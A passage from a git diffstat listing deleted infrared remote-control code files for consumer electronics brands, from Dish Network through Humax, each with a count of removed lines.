Network/Satellite/24,0.ir | 74 - .../Dish Network/Satellite/28,-1.ir | 14 - .../_CSV-IRDB_/Dish Network/Satellite/4,0.ir | 8 - .../_CSV-IRDB_/Dish Network/Satellite/4,5.ir | 8 - .../Dish Network/Satellite/48,-1.ir | 20 - .../_CSV-IRDB_/Dish Network/Satellite/8,0.ir | 14 - .../Domland/Unknown_domland-MH10CA/131,101.ir | 104 - .../_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir | 20 - .../_CSV-IRDB_/Draper/Electric Screen/0,-1.ir | 20 - .../_CSV-IRDB_/Draper/Screen/0,-1.ir | 20 - .../_CSV-IRDB_/Draper/Screen/2,-1.ir | 20 - .../Dream Multimedia/Unknown_URC7562/0,-1.ir | 188 - .../Dream Vision/DLP Projector/135,78.ir | 248 - .../_CSV-IRDB_/Dream/Satellite/0,-1.ir | 212 - .../_CSV-IRDB_/Dream/Satellite/10,0.ir | 26 - .../_CSV-IRDB_/Dream/Satellite/11,0.ir | 8 - .../_CSV-IRDB_/Dream/Satellite/25,0.ir | 38 - .../_CSV-IRDB_/Dream/Satellite/26,0.ir | 788 - .../_CSV-IRDB_/Dream/Satellite/41,0.ir | 14 - .../Durabrand/Unknown_PTV141/128,99.ir | 188 - .../_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir | 206 - .../_CSV-IRDB_/Dwin/Plasma/15,-1.ir | 128 - .../_CSV-IRDB_/Dwin/Projector/15,-1.ir | 134 - .../_CSV-IRDB_/Dwin/TV/15,-1.ir | 152 - .../_CSV-IRDB_/Dwin/Video Processor/1,-1.ir | 272 - .../_CSV-IRDB_/Dwin/Video Processor/7,0.ir | 8 - .../_CSV-IRDB_/Dwin/Video Projector/15,-1.ir | 536 - .../_CSV-IRDB_/Dwin/Video Projector/7,0.ir | 8 - .../_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir | 98 - .../_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir | 26 - .../_CSV-IRDB_/E Max/DVD Player/0,223.ir | 254 - .../_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir | 182 - .../ELTASAT/Unknown_SAT170/66,253.ir | 128 - .../Unknown_URC-4021ABA1-006-R/230,4.ir | 212 - .../Eagle Aspen/Unknown_Aspen/120,-1.ir | 116 - .../_CSV-IRDB_/Echostar/DSS/0,0.ir | 134 - .../_CSV-IRDB_/Echostar/DVR/0,0.ir | 176 - .../_CSV-IRDB_/Echostar/DVR/1,0.ir | 74 - .../_CSV-IRDB_/Echostar/Dish Network/0,0.ir | 140 - .../_CSV-IRDB_/Echostar/PVR SAT/0,0.ir | 152 - .../_CSV-IRDB_/Echostar/PVR SAT/1,0.ir | 56 - .../_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir | 272 - .../_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir | 170 - .../_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir | 170 - .../_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir | 56 - .../_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir | 14 - .../_CSV-IRDB_/Echostar/Satellite/0,0.ir | 290 - .../_CSV-IRDB_/Echostar/Satellite/1,0.ir | 80 - .../_CSV-IRDB_/Echostar/Satellite/16,0.ir | 14 - .../_CSV-IRDB_/Echostar/Satellite/4,-1.ir | 20 - .../Echostar/Unknown_AD3000IP/4,0.ir | 176 - .../Echostar/Unknown_DSB-616/5,-1.ir | 212 - .../Echostar/Unknown_DSB-636/4,0.ir | 194 - .../_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir | 86 - .../_CSV-IRDB_/Elan/DMX/100,-1.ir | 230 - .../_CSV-IRDB_/Elan/DMX/14,-1.ir | 236 - .../_CSV-IRDB_/Elan/DMX/96,-1.ir | 230 - .../_CSV-IRDB_/Elan/DMX/99,-1.ir | 230 - .../_CSV-IRDB_/Elan/DVD Manager/15,-1.ir | 284 - .../_CSV-IRDB_/Elan/HD/0,-1.ir | 68 - .../_CSV-IRDB_/Elan/HD/1,-1.ir | 308 - .../_CSV-IRDB_/Elan/HD/2,-1.ir | 8 - .../_CSV-IRDB_/Elan/HD/4,-1.ir | 278 - .../_CSV-IRDB_/Elan/HD/5,-1.ir | 236 - .../_CSV-IRDB_/Elan/IR Router/1,-1.ir | 14 - .../_CSV-IRDB_/Elan/IR Router/2,-1.ir | 194 - .../_CSV-IRDB_/Elan/Jukebox/96,-1.ir | 74 - .../_CSV-IRDB_/Elan/Master Controller/0,-1.ir | 50 - .../_CSV-IRDB_/Elan/Master Controller/1,-1.ir | 98 - .../_CSV-IRDB_/Elan/Master Controller/5,-1.ir | 80 - .../_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir | 170 - .../_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir | 134 - .../_CSV-IRDB_/Elan/Tuner/129,115.ir | 254 - .../_CSV-IRDB_/Elan/Video Controller/0,-1.ir | 152 - .../_CSV-IRDB_/Elan/Video Switcher/0,-1.ir | 182 - .../_CSV-IRDB_/Elan/Video Switcher/1,-1.ir | 50 - .../_CSV-IRDB_/Elan/Volume Control/0,-1.ir | 26 - .../_CSV-IRDB_/Elan/Volume Control/1,241.ir | 32 - .../_CSV-IRDB_/Elan/Volume Control/255,15.ir | 8 - .../Electrocompaniet/CD Player/20,-1.ir | 158 - .../Integrated Amplifier/16,-1.ir | 50 - .../Electrokinetics/Plasma Lift/0,-1.ir | 8 - .../Elenberg/Unknown_RC-404E/0,251.ir | 290 - .../_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir | 152 - .../_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir | 158 - .../_CSV-IRDB_/Elmo/Camera/128,-1.ir | 194 - .../Elmo/Video Projector/132,132.ir | 74 - .../Elmo/Video Projector/134,134.ir | 74 - .../_CSV-IRDB_/Emerson/TV/0,-1.ir | 158 - .../_CSV-IRDB_/Emerson/TV/135,34.ir | 296 - .../Unknown_Emerson-NB050-DVD/135,34.ir | 236 - .../Emerson/Unknown_emerson-cd/3,1.ir | 38 - .../Emerson/Unknown_emerson/134,5.ir | 158 - .../Emerson/Unknown_emersontv/22,22.ir | 158 - .../_CSV-IRDB_/Emerson/VCR/21,-1.ir | 176 - .../_CSV-IRDB_/Emerson/VCR/4,-1.ir | 14 - .../_CSV-IRDB_/Emerson/VCR/40,-1.ir | 146 - .../_CSV-IRDB_/Epson/Projector/131,85.ir | 344 - .../Epson/Unknown_12807990/131,85.ir | 158 - .../Epson/Unknown_ELPST12/131,85.ir | 98 - .../Epson/Video Projector/131,85.ir | 140 - .../_CSV-IRDB_/Escient/CD Jukebox/0,0.ir | 230 - .../_CSV-IRDB_/Escient/CD Jukebox/14,0.ir | 200 - .../_CSV-IRDB_/Escient/CD Jukebox/15,0.ir | 176 - .../_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir | 8 - .../_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir | 8 - .../_CSV-IRDB_/Escient/CD Management/0,0.ir | 314 - .../_CSV-IRDB_/Escient/CD Management/14,0.ir | 398 - .../_CSV-IRDB_/Escient/CD Management/91,-1.ir | 8 - .../_CSV-IRDB_/Escient/DVD Library/1,22.ir | 8 - .../_CSV-IRDB_/Escient/DVD Library/8,-1.ir | 212 - .../_CSV-IRDB_/Escient/DVD Player/1,22.ir | 218 - .../_CSV-IRDB_/Escient/DVD Player/2,22.ir | 224 - .../_CSV-IRDB_/Escient/DVD Player/3,22.ir | 218 - .../_CSV-IRDB_/Escient/DVD Player/4,22.ir | 320 - .../_CSV-IRDB_/Escient/DVD Player/8,-1.ir | 212 - .../Escient/Digital Jukebox/15,0.ir | 332 - .../Escient/Digital Media Receiver/1,22.ir | 248 - .../Escient/Digital Media Receiver/15,-1.ir | 20 - .../Escient/Hard Drive Recorder/15,0.ir | 266 - .../_CSV-IRDB_/Escient/MP3 Player/0,-1.ir | 38 - .../_CSV-IRDB_/Escient/MP3 Player/1,22.ir | 254 - .../_CSV-IRDB_/Escient/MP3 Player/14,-1.ir | 14 - .../_CSV-IRDB_/Escient/MP3 Player/15,-1.ir | 20 - .../_CSV-IRDB_/Escient/MP3 Player/4,22.ir | 104 - .../_CSV-IRDB_/Escient/Media Manager/1,22.ir | 644 - .../_CSV-IRDB_/Escient/Media Manager/15,-1.ir | 8 - .../_CSV-IRDB_/Escient/Media Manager/15,0.ir | 422 - .../_CSV-IRDB_/Escient/Media Manager/2,22.ir | 338 - .../_CSV-IRDB_/Escient/Media Manager/3,22.ir | 326 - .../Escient/Media Manager/33,184.ir | 464 - .../_CSV-IRDB_/Escient/Media Manager/4,22.ir | 434 - .../_CSV-IRDB_/Escient/Media Manager/48,-1.ir | 8 - .../_CSV-IRDB_/Escient/Media Server/1,22.ir | 140 - .../_CSV-IRDB_/Escient/Media Server/4,22.ir | 146 - .../Esoteric Audio/DVD Player/133,32.ir | 272 - .../Euroconsumers/Unknown_LG-5988/136,-1.ir | 272 - .../_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir | 80 - .../_CSV-IRDB_/Extron/Switcher/0,-1.ir | 74 - .../_CSV-IRDB_/Extron/Switcher/128,84.ir | 98 - .../_CSV-IRDB_/FSC/DVD Player/4,15.ir | 308 - .../FTE Maximal/Unknown_FTE/73,-1.ir | 134 - .../_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir | 158 - .../_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir | 146 - .../FUNAI/Unknown_NF021RD/132,224.ir | 254 - .../Fagor/Unknown_TEDI100/192,-1.ir | 104 - .../Falcon/Unknown_VT-1000/16,47.ir | 98 - .../_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir | 266 - .../_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir | 194 - .../_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir | 50 - .../Faroudja/Line Quadrupler/1,-1.ir | 50 - .../_CSV-IRDB_/Faroudja/Processor/1,-1.ir | 86 - .../Faroudja/Video Processor/1,-1.ir | 218 - .../Faroudja/Video Processor/27,-1.ir | 194 - .../Faroudja/Video Projector/0,-1.ir | 14 - .../Faroudja/Video Projector/1,-1.ir | 182 - .../Faroudja/Video Projector/13,-1.ir | 8 - .../Faroudja/Video Projector/135,78.ir | 62 - .../Faroudja/Video Projector/24,-1.ir | 62 - .../Faroudja/Video Projector/24,24.ir | 92 - .../Faroudja/Video Projector/30,-1.ir | 8 - .../_CSV-IRDB_/Fast/TV/28,-1.ir | 458 - .../_CSV-IRDB_/Fast/TVS/28,-1.ir | 62 - .../Fedders/Air Conditioner/32,-1.ir | 38 - .../Fisher/Surround Processor/48,48.ir | 8 - .../Fisher/Surround Processor/54,200.ir | 140 - .../_CSV-IRDB_/Fisher/TV/0,-1.ir | 14 - .../_CSV-IRDB_/Fisher/TV/56,-1.ir | 152 - .../Fisher/Unknown_RC720F/104,-1.ir | 50 - .../Fisher/Unknown_RCA-9060/54,-1.ir | 284 - .../Fisher/Unknown_REM-1500/162,162.ir | 188 - .../_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir | 278 - .../Fortec/Unknown_Lifetime/32,-1.ir | 188 - .../Fortec/Unknown_Mercury2/1,253.ir | 284 - .../Fosgate/Pre-Amplifier/131,69.ir | 14 - .../Fosgate/Pre-Amplifier/131,95.ir | 14 - .../_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir | 218 - .../Fosgate/Surround Processor/132,66.ir | 458 - .../_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir | 212 - .../_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir | 194 - .../Foxtel/Unknown_foxtel/33,160.ir | 212 - .../_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir | 212 - .../_CSV-IRDB_/Free/Unknown_V5/36,12.ir | 296 - .../_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir | 254 - .../_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir | 110 - .../Fresat/Unknown_SER-3000PL/8,64.ir | 164 - .../Friedrich/Air Conditioner/1,-1.ir | 68 - .../Friedrich/Air Conditioner/16,-1.ir | 8 - .../Unknown_RC1-1241-21/32,176.ir | 254 - .../Fujitsu Siemens/Unknown_RC811/4,15.ir | 164 - .../_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir | 242 - .../_CSV-IRDB_/Fujitsu/Monitor/132,138.ir | 110 - .../_CSV-IRDB_/Fujitsu/Monitor/132,139.ir | 44 - .../_CSV-IRDB_/Fujitsu/Monitor/132,140.ir | 20 - .../_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir | 632 - .../_CSV-IRDB_/Fujitsu/Plasma/132,129.ir | 44 - .../_CSV-IRDB_/Fujitsu/Plasma/132,130.ir | 8 - .../_CSV-IRDB_/Fujitsu/Plasma/132,134.ir | 8 - .../_CSV-IRDB_/Fujitsu/Plasma/132,136.ir | 8 - .../_CSV-IRDB_/Fujitsu/Plasma/132,138.ir | 410 - .../_CSV-IRDB_/Fujitsu/Plasma/132,139.ir | 338 - .../_CSV-IRDB_/Fujitsu/Plasma/132,140.ir | 50 - .../_CSV-IRDB_/Fujitsu/Plasma/132,141.ir | 140 - .../_CSV-IRDB_/Fujitsu/Plasma/140,132.ir | 8 - .../_CSV-IRDB_/Fujitsu/TV/132,-1.ir | 80 - .../Fujitsu/Unknown_CP300375-01/4,15.ir | 242 - .../_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir | 110 - .../Fusion Research/DVD Server/17,-1.ir | 212 - .../GAMEFACTORY/Unknown_PS2DVD/0,246.ir | 110 - .../optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir | 302 - .../_CSV-IRDB_/GE/VCR/11,-1.ir | 14 - .../_CSV-IRDB_/GE/VCR/14,-1.ir | 230 - .../_CSV-IRDB_/GE/VCR/26,73.ir | 8 - .../_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir | 224 - .../_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir | 56 - .../_CSV-IRDB_/Galaxis/Satellite/13,80.ir | 188 - .../Galaxis/Unknown_GALAXIS-RC5/0,-1.ir | 188 - .../Galaxis/Unknown_Galaxis-RCMM/13,80.ir | 260 - .../Galaxis/Unknown_Galaxis.sat/81,175.ir | 104 - .../_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir | 290 - .../Gefen Systems/DVI Switcher/11,-1.ir | 26 - .../Gefen Systems/HDMI Switcher/11,-1.ir | 74 - .../Gefen Systems/Matrix Switcher/11,-1.ir | 194 - .../_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir | 374 - .../_CSV-IRDB_/General Electric/TV/15,-1.ir | 170 - .../_CSV-IRDB_/General Electric/VCR/11,-1.ir | 14 - .../_CSV-IRDB_/General Electric/VCR/14,-1.ir | 158 - .../_CSV-IRDB_/General Electric/VCR/26,73.ir | 8 - .../General Instrument/Cable Box/0,-1.ir | 392 - .../General Instrument/Cable Box/1,-1.ir | 20 - .../General Instrument/Cable Box/122,-1.ir | 20 - .../General Instrument/Cable Box/144,0.ir | 8 - .../General Instrument/Cable Box/15,-1.ir | 8 - .../General Instrument/Cable Box/64,-1.ir | 8 - .../General Instrument/Cable Box/87,-1.ir | 8 - .../General Instrument/Satellite/1,-1.ir | 20 - .../General Instrument/Satellite/130,110.ir | 326 - .../General Instruments/Unknown_550/-1,-1.ir | 164 - .../Unknown_XRC-200/0,-1.ir | 506 - .../_CSV-IRDB_/General/Unknown_VCR/22,-1.ir | 56 - .../_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir | 278 - .../Geniatech/Unknown_Supera/0,-1.ir | 206 - .../Genius/Unknown_Genius-DVB-T32/5,-1.ir | 200 - .../_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir | 152 - .../_CSV-IRDB_/Gericom/Plasma/3,-1.ir | 356 - .../_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir | 272 - .../_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir | 170 - .../Go Video/DVD Recorder/10,247.ir | 218 - .../_CSV-IRDB_/Go Video/VCR/132,98.ir | 194 - .../_CSV-IRDB_/Go Video/VCR/5,5.ir | 380 - .../_CSV-IRDB_/Go Video/VCR/7,7.ir | 14 - .../GoldStar/Unknown_GOLDSTAR/4,-1.ir | 152 - .../GoldStar/Unknown_Goldstar-VCR/110,-1.ir | 152 - .../GoldStar/Unknown_RN800AW/110,-1.ir | 74 - .../_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir | 146 - .../_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir | 134 - .../_CSV-IRDB_/GoldStar/VCR/110,-1.ir | 122 - .../Golden Interstar/Sat/128,255.ir | 248 - .../Unknown_Interstar/4,16.ir | 248 - .../_CSV-IRDB_/Goldmund/CD Player/20,-1.ir | 44 - .../_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir | 200 - .../Goodmans/Unknown_GDVD124/0,-1.ir | 260 - .../Goodmans/Unknown_RC-BM/128,123.ir | 212 - .../Goodmans/Unknown_md305/135,108.ir | 194 - .../Govideo/Unknown_GoVideoD2730/8,230.ir | 266 - .../_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir | 188 - .../Gradiente/Unknown_GSD-100/132,60.ir | 158 - .../_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir | 224 - .../_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir | 128 - .../_CSV-IRDB_/Griffin/iPod/212,190.ir | 98 - .../_CSV-IRDB_/Grundig/Satellite/1,-1.ir | 8 - .../_CSV-IRDB_/Grundig/Satellite/2,-1.ir | 68 - .../_CSV-IRDB_/Grundig/Satellite/8,-1.ir | 8 - .../_CSV-IRDB_/Grundig/TV/0,-1.ir | 206 - .../_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir | 182 - .../_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir | 260 - .../Grundig/Unknown_CDM700.cfg/162,162.ir | 170 - .../Grundig/Unknown_Grundig-TP660/0,-1.ir | 248 - .../_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir | 242 - .../Grundig/Unknown_RC8400CD/20,-1.ir | 146 - .../_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir | 176 - .../Grundig/Unknown_TP-750C/0,-1.ir | 170 - .../_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir | 194 - .../Grundig/Unknown_UMS9V/162,162.ir | 116 - .../_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir | 164 - .../_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir | 302 - .../Grundig/Video Recorder/127,-1.ir | 140 - .../Gryphon/Integrated Amplifier/16,-1.ir | 38 - .../Unknown_RemoteWizard-GN-263/134,107.ir | 176 - .../_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir | 176 - .../_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir | 122 - .../_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir | 140 - .../_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir | 140 - .../_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir | 272 - .../HP/Unknown_RC172308-01B/4,15.ir | 140 - .../HP/Unknown_RC1762302-00/4,17.ir | 134 - .../HP/Unknown_RC1762307-01/4,15.ir | 140 - .../HP/Unknown_RC2234302-01B/4,15.ir | 260 - .../_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir | 176 - .../_CSV-IRDB_/HQV/Video Processor/128,-1.ir | 122 - .../_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir | 164 - .../Hama/Unknown_PhotoPlayer/134,107.ir | 146 - .../Hampton Bay/Unknown_Bay/129,102.ir | 44 - .../Harman Kardon/Amplifier/128,112.ir | 62 - .../Harman Kardon/Amplifier/130,114.ir | 20 - .../Harman Kardon/Blu-Ray/132,116.ir | 266 - .../Harman Kardon/CD Changer/128,112.ir | 182 - .../Harman Kardon/CD Player/0,-1.ir | 116 - .../Harman Kardon/CD Player/128,112.ir | 590 - .../Harman Kardon/CD Player/131,74.ir | 338 - .../_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir | 32 - .../Harman Kardon/Cassette Tape/130,114.ir | 86 - .../Harman Kardon/DVD Player/130,114.ir | 728 - .../Harman Kardon/Pre-Amplifier/128,112.ir | 194 - .../Harman Kardon/Pre-Amplifier/130,114.ir | 50 - .../Harman Kardon/Receiver/128,112.ir | 1964 -- .../Harman Kardon/Receiver/130,114.ir | 1688 -- .../Harman Kardon/Receiver/132,116.ir | 44 - .../Harman Kardon/Receiver/132,66.ir | 272 - .../Harman Kardon/Receiver/134,118.ir | 200 - .../Harman Kardon/Receiver/161,-1.ir | 38 - .../Harman Kardon/Receiver/164,-1.ir | 14 - .../_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir | 38 - .../Harman Kardon/Receiver/40,-1.ir | 38 - .../_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir | 8 - .../Harman Kardon/Surround Processor/0,-1.ir | 8 - .../Harman Kardon/Surround Processor/12,-1.ir | 8 - .../Surround Processor/128,112.ir | 392 - .../Surround Processor/130,114.ir | 284 - .../Harman Kardon/Surround Processor/16,-1.ir | 50 - .../Harman Kardon/Surround Processor/17,-1.ir | 26 - .../Harman Kardon/Surround Processor/18,-1.ir | 8 - .../Harman Kardon/Surround Processor/20,-1.ir | 8 - .../Harman Kardon/Surround Processor/23,-1.ir | 8 - .../Harman Kardon/Surround Processor/5,-1.ir | 68 - .../Harman Kardon/Surround Processor/6,-1.ir | 8 - .../Harman Kardon/Surround Processor/64,-1.ir | 26 - .../Surround Receiver/128,112.ir | 158 - .../Surround Receiver/130,114.ir | 146 - .../_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir | 110 - .../_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir | 380 - .../_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir | 212 - .../Harman Kardon/Unknown/130,114.ir | 86 - .../Harman Kardon/Unknown_DVD/130,114.ir | 260 - .../Harman Kardon/Unknown_HD730/131,74.ir | 164 - .../Unknown_Kardon-DVD/130,114.ir | 260 - .../Unknown_harmankardon/128,112.ir | 182 - .../Harman Kardon/Video Projector/0,-1.ir | 128 - .../Harman Kardon/Video Projector/1,-1.ir | 140 - .../Harman Kardon/Video Projector/30,-1.ir | 128 - .../Harman Kardon/Video Projector/7,0.ir | 8 - .../_CSV-IRDB_/Harman Kardon/iPod/130,114.ir | 50 - .../Harman Video/Video Projector/1,-1.ir | 140 - .../Harman Video/Video Projector/7,0.ir | 8 - .../_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir | 308 - .../Hauppauge/Unknown_DSR-0095/29,-1.ir | 212 - .../_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir | 206 - .../Hauppauge/Unknown_R808/30,-1.ir | 230 - .../Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir | 212 - .../Hauppauge/Unknown_WinTV-HVR/4,15.ir | 272 - .../Hauppauge/Unknown_hauppauge-stb/5,-1.ir | 158 - .../Hello Kitty/Unknown_Kitty/0,-1.ir | 200 - .../_CSV-IRDB_/Herma/Dipper/5,-1.ir | 746 - .../Hermstedt/Unknown_Hifidelio/16,-1.ir | 242 - .../Hewlett Packard/Plasma/18,17.ir | 242 - .../_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir | 86 - .../_CSV-IRDB_/Hewlett Packard/TV/18,17.ir | 242 - .../_CSV-IRDB_/Hewlett Packard/TV/2,17.ir | 176 - .../Unknown_Electronics/0,-1.ir | 20 - .../Hip Interactive/Unknown_GE1002/0,246.ir | 98 - .../_CSV-IRDB_/Hirschmann/Satellite/32,255.ir | 212 - .../Hirschmann/Unknown_RC426/54,-1.ir | 176 - .../_CSV-IRDB_/Hitachi/CD Player/168,-1.ir | 212 - .../_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir | 38 - .../_CSV-IRDB_/Hitachi/DSS/12,251.ir | 656 - .../_CSV-IRDB_/Hitachi/DSS/184,0.ir | 20 - .../_CSV-IRDB_/Hitachi/DSS/3,-1.ir | 8 - .../_CSV-IRDB_/Hitachi/DSS/4,-1.ir | 8 - .../_CSV-IRDB_/Hitachi/DSS/80,-1.ir | 146 - .../_CSV-IRDB_/Hitachi/DSS/96,-1.ir | 122 - .../_CSV-IRDB_/Hitachi/DSS/97,-1.ir | 8 - .../_CSV-IRDB_/Hitachi/DVD Player/102,0.ir | 236 - .../_CSV-IRDB_/Hitachi/Display/80,-1.ir | 50 - .../_CSV-IRDB_/Hitachi/LCD/86,171.ir | 8 - .../_CSV-IRDB_/Hitachi/Monitor/144,0.ir | 122 - .../_CSV-IRDB_/Hitachi/Monitor/80,-1.ir | 542 - .../_CSV-IRDB_/Hitachi/Monitor/96,-1.ir | 200 - .../_CSV-IRDB_/Hitachi/Monitor/96,158.ir | 8 - .../_CSV-IRDB_/Hitachi/Monitor/97,-1.ir | 20 - .../_CSV-IRDB_/Hitachi/Plasma/80,-1.ir | 14 - .../_CSV-IRDB_/Hitachi/Plasma/80,173.ir | 182 - .../_CSV-IRDB_/Hitachi/TV/12,251.ir | 134 - .../_CSV-IRDB_/Hitachi/TV/80,-1.ir | 1202 -- .../_CSV-IRDB_/Hitachi/TV/80,143.ir | 8 - .../_CSV-IRDB_/Hitachi/TV/80,173.ir | 110 - .../_CSV-IRDB_/Hitachi/TV/96,-1.ir | 14 - .../Hitachi/Unknown_CLE-941/80,-1.ir | 170 - .../Hitachi/Unknown_CLE-947/80,-1.ir | 188 - .../Hitachi/Unknown_CP-X345/135,69.ir | 158 - .../Hitachi/Unknown_DV-RM335E/128,35.ir | 248 - .../_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir | 170 - .../_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir | 158 - .../Hitachi/Unknown_Hitachi/1,-1.ir | 62 - .../Hitachi/Unknown_Hitachi/80,-1.ir | 152 - .../Hitachi/Unknown_hitachi.conf/91,-1.ir | 188 - .../_CSV-IRDB_/Hitachi/VCR/0,-1.ir | 224 - .../_CSV-IRDB_/Hitachi/VCR/40,-1.ir | 470 - .../_CSV-IRDB_/Hitachi/VCR/44,-1.ir | 26 - .../_CSV-IRDB_/Hitachi/VCR/5,1.ir | 116 - .../_CSV-IRDB_/Hitachi/VCR/80,-1.ir | 362 - .../_CSV-IRDB_/Hitachi/VCR/83,-1.ir | 110 - .../_CSV-IRDB_/Hitachi/VCR/96,-1.ir | 2348 --- .../_CSV-IRDB_/Hitachi/VCR/96,158.ir | 1436 -- .../_CSV-IRDB_/Hitachi/VCR/97,-1.ir | 74 - .../_CSV-IRDB_/Hitachi/VCR/97,159.ir | 56 - .../Hitachi/Video Projector/135,69.ir | 584 - .../Hitachi/Video Projector/80,-1.ir | 116 - .../_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir | 212 - .../_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir | 242 - .../Hokkaido/Unknown_Airconditioner/77,178.ir | 350 - .../Homecast/Satellite Receiver/1,-1.ir | 284 - .../Homecast/Unknown_DVB-S/32,32.ir | 194 - .../Homecast/Unknown_DVB-T/64,64.ir | 218 - .../_CSV-IRDB_/Hughes/DSS/1,-1.ir | 50 - .../_CSV-IRDB_/Hughes/DSS/12,-1.ir | 200 - .../_CSV-IRDB_/Hughes/DSS/12,251.ir | 728 - .../_CSV-IRDB_/Hughes/DSS/133,48.ir | 272 - .../_CSV-IRDB_/Hughes/DSS/136,-1.ir | 38 - .../_CSV-IRDB_/Hughes/DSS/4,-1.ir | 32 - .../_CSV-IRDB_/Hughes/DSS/60,178.ir | 146 - .../_CSV-IRDB_/Hughes/DSS/71,-1.ir | 14 - .../_CSV-IRDB_/Hughes/DVR/12,-1.ir | 248 - .../_CSV-IRDB_/Hughes/DVR/133,48.ir | 218 - .../Hughes/HD Satellite HD Tivo/133,48.ir | 218 - .../_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir | 350 - .../_CSV-IRDB_/Hughes/Satellite/1,-1.ir | 50 - .../_CSV-IRDB_/Hughes/Satellite/12,-1.ir | 200 - .../_CSV-IRDB_/Hughes/Satellite/12,251.ir | 746 - .../_CSV-IRDB_/Hughes/Satellite/133,48.ir | 38 - .../_CSV-IRDB_/Hughes/Satellite/136,-1.ir | 38 - .../_CSV-IRDB_/Hughes/Satellite/4,-1.ir | 32 - .../_CSV-IRDB_/Hughes/Satellite/60,178.ir | 146 - .../_CSV-IRDB_/Hughes/Satellite/71,-1.ir | 14 - .../_CSV-IRDB_/Hughes/TiVo/133,48.ir | 200 - .../_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir | 146 - .../Hughes/Unknown_HRMC-8/12,251.ir | 194 - .../_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir | 146 - .../_CSV-IRDB_/Hughes/VCR/96,-1.ir | 134 - .../_CSV-IRDB_/Hughes/VCR/97,-1.ir | 8 - .../_CSV-IRDB_/Humax/Com Hem Box/0,16.ir | 224 - .../_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir | 212 - .../_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir | 188 - .../_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir | 320 - .../_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir | 224 - .../_CSV-IRDB_/Humax/Satellite/0,17.ir | 20 - .../_CSV-IRDB_/Humax/Satellite/0,23.ir | 242 - .../_CSV-IRDB_/Humax/Satellite/0,73.ir | 212 - .../_CSV-IRDB_/Humax/Tivo + 